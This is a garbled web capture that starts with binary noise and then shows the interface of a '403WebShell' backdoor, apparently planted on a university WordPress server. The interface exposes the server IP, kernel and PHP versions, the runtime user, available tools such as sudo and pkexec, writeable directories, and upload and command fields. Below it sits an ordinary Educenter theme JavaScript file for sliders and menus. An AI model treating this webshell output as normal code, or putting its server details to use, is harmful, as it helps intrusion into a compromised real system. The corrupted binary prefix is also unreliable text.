h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/skruarchives/wp-content/themes/educenter/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/skruarchives/wp-content/themes/educenter/assets/js/educenter-custom.js
/**
 * Educenter Theme Custom Js
*/
jQuery(document).ready( function($){


    /**
     * Header Sticky sidebar
    */
    var headersticky = educenter_ajax_script.headersticky;

    
    if( headersticky == 1 ){
        try{
            $(".bottom-header").sticky({ topSpacing: 0 });
        }
        catch(e){
            //console.log( e );
        }
    }

    /**
     * Widget Sticky sidebar
    */
    var sidebarstick = educenter_ajax_script.sidebarstick;

    if( sidebarstick == 1 ){
        try{
            $('.content-area').theiaStickySidebar({
                additionalMarginTop: 30
            });

            $('.widget-area').theiaStickySidebar({
                additionalMarginTop: 30
            });
        }
        catch(e){
            //console.log( e );
        }
    }
    
    /**
     * Search Popup
    */
    $('.search').click(function() {
        $('.ed-pop-up').toggleClass('active');
    });

    $('.search-overlay').click(function() {
        $('.ed-pop-up').removeClass('active');
    });


    /**
     * Main Banner Slider
    */
    $(".slider-layout-2 .ed-slide").lightSlider({
        item: 1,
        slideMove: 1,
        slideMargin: 0,
        loop: true,
        auto: true,
        pager: false,
        controls: true,
        slideEndAnimation:true,
        speed:2000,
        pause:5000,
        enableDrag:false
    });


    /**
     * Features Services Area
    */
    $(".ed-service-slide").lightSlider({
        item: 3,
        autoWidth: false,
        slideMove: 1,
        slideMargin: 20,
        loop: true,
        controls: false,
        adaptiveHeight: true,
        pager: true,
        onSliderLoad: function() {
            $('.ed-service-slide').removeClass('cS-hidden');
        },
        responsive: [{
                breakpoint: 1100,
                settings: {
                    item: 2,
                    slideMove: 1,
                    slideMargin: 20,
                }
            },
            {
                breakpoint: 640,
                settings: {
                    item: 1,
                    slideMove: 1,
                    slideMargin: 0,
                }
            }
        ]
    });


    /**
     * Success Product Counter
    */
    $('.educenter_counter_wrap').waypoint(function() {
        setTimeout(function() {
          $('.odometer1').html($('.odometer1').data('count'));
        }, 500);
        setTimeout(function() {
          $('.odometer2').html($('.odometer2').data('count'));
        }, 1000);
        setTimeout(function() {
          $('.odometer3').html($('.odometer3').data('count'));
        }, 1500);
        setTimeout(function() {
          $('.odometer4').html($('.odometer4').data('count'));
        }, 2000);
        setTimeout(function() {
          $('.odometer5').html($('.odometer5').data('count'));
        }, 2500);
        setTimeout(function() {
          $('.odometer6').html($('.odometer6').data('count'));
        }, 3000);
        setTimeout(function() {
          $('.odometer7').html($('.odometer7').data('count'));
        }, 3500);
        setTimeout(function() {
          $('.odometer8').html($('.odometer8').data('count'));
        }, 4000);
    }, {
      offset: 800,
      triggerOnce: true
    });

    /**
     * Counter
    */
    /*$('.counter').counterUp({
        delay: 10,
        time: 1000,
        offset: 70,
        beginAt: 100,
        formatter: function (n) {
          return n.replace(/,/g, '.');
        }
    });*/

    /**
     * Latest News Blog Area
    */
    $(".ed-blog-slider").lightSlider({
        item: 3,
        autoWidth: false,
        slideMove: 1,
        slideMargin: 10,
        loop: true,
        controls: false,
        adaptiveHeight: true,
        pager: true,
        onSliderLoad: function() {
            $('.ed-blog-slider').removeClass('cS-hidden');
        },
        responsive: [{
                breakpoint: 870,
                settings: {
                    item: 2,
                    slideMove: 1,
                    slideMargin: 10,
                }
            },
            {
                breakpoint: 570,
                settings: {
                    item: 1,
                    slideMove: 1,
                    slideMargin: 2,
                }
            }
        ]
    });


    /**
     * Our Team Member
    */
    $(".ed-team-wrapper").lightSlider({
        item: 3,
        autoWidth: false,
        slideMove: 1,
        slideMargin: 10,
        loop: true,
        controls: false,
        adaptiveHeight: false,
        pager: true,
        onSliderLoad: function() {
            $('.ed-team-wrapper').removeClass('cS-hidden');
        },
        responsive: [{
                breakpoint: 870,
                settings: {
                    item: 2,
                    slideMove: 1,
                    slideMargin: 10,
                }
            },
            {
                breakpoint: 570,
                settings: {
                    item: 1,
                    slideMove: 1,
                    slideMargin: 2,
                }
            }
        ]
    });


    /**
     * Our Testimonials
    */
    $(".ed-testimonial-wrap").lightSlider({
        item: 3,
        autoWidth: false,
        slideMove: 1,
        slideMargin: 30,
        loop: true,
        controls: false,
        adaptiveHeight: false,
        pager: true,
        onSliderLoad: function() {
            $('.ed-testimonial-wrap').removeClass('cS-hidden');
        },
        responsive: [{
                breakpoint: 870,
                settings: {
                    item: 2,
                    slideMove: 1,
                    slideMargin: 20,
                }
            },
            {
                breakpoint: 570,
                settings: {
                    item: 1,
                    slideMove: 1,
                    slideMargin: 2,
                }
            }
        ]
    });


    /**
     * Gallery Light Box
    */
    $("a[rel^='edugallery']").prettyPhoto({
        theme: 'light_rounded',
        slideshow: 5000,
        autoplay_slideshow: false,
        keyboard_shortcuts: true,
        deeplinking : false,
        default_width: 500,
        default_height: 344,
    });


     /**
     * Superfish Nav
    */
    // jQuery('ul.nav').superfish({
    //     delay: 100,
    //     speed:'fast',
    //     speedOut:'fast',
    // });


    /**
     * Responsive Menu Toggle
    */
    $('.header-nav-toggle').click(function(){
        $('.header-nav-toggle').toggleClass('on');
        $('.box-header-nav').slideToggle('1000');
    });

    /**
     * Add Icon Sub Menu
    */
    $('.box-header-nav .menu-item-has-children').append('<span class="sub-toggle"><i class="fa fa-plus"></i></span>');
    //$('.box-header-nav .page_item_has_children').append('<span class="sub-toggle-children"> <i class="fas fa-plus"></i> </span>');

    $('.box-header-nav .sub-toggle').click(function () {
        $(this).parent('.menu-item-has-children').children('ul.sub-menu').first().toggle();
        $(this).children('.fa-plus').first().toggleClass('fa-minus');
    });


    /**
     * Toggle nav
    */
    $('.header-nav-search .toggle-button').on('click', function() {
        $('body').addClass('menu-active');
    });
    $('.close-icon').on('click', function() {
        $('body').removeClass('menu-active');
    });

    /**
     * Scroll To Top
    */
    $("#footer").on('click', '.goToTop', function(e){
        e.preventDefault();
        $('html,body').animate({
            scrollTop: 0,
        },'slow');
    });
    
    // Show/Hide Button on Window Scroll event.
    $(window).on('scroll', function(){
        var fromTop = $(this).scrollTop();
        var display = 'none';
        if(fromTop > 650){
            display = 'block';
        }
        $('#scrollTop').css({'display': display});
    });

});

Youez - 2016 - github.com/yon3zu
LinuXploit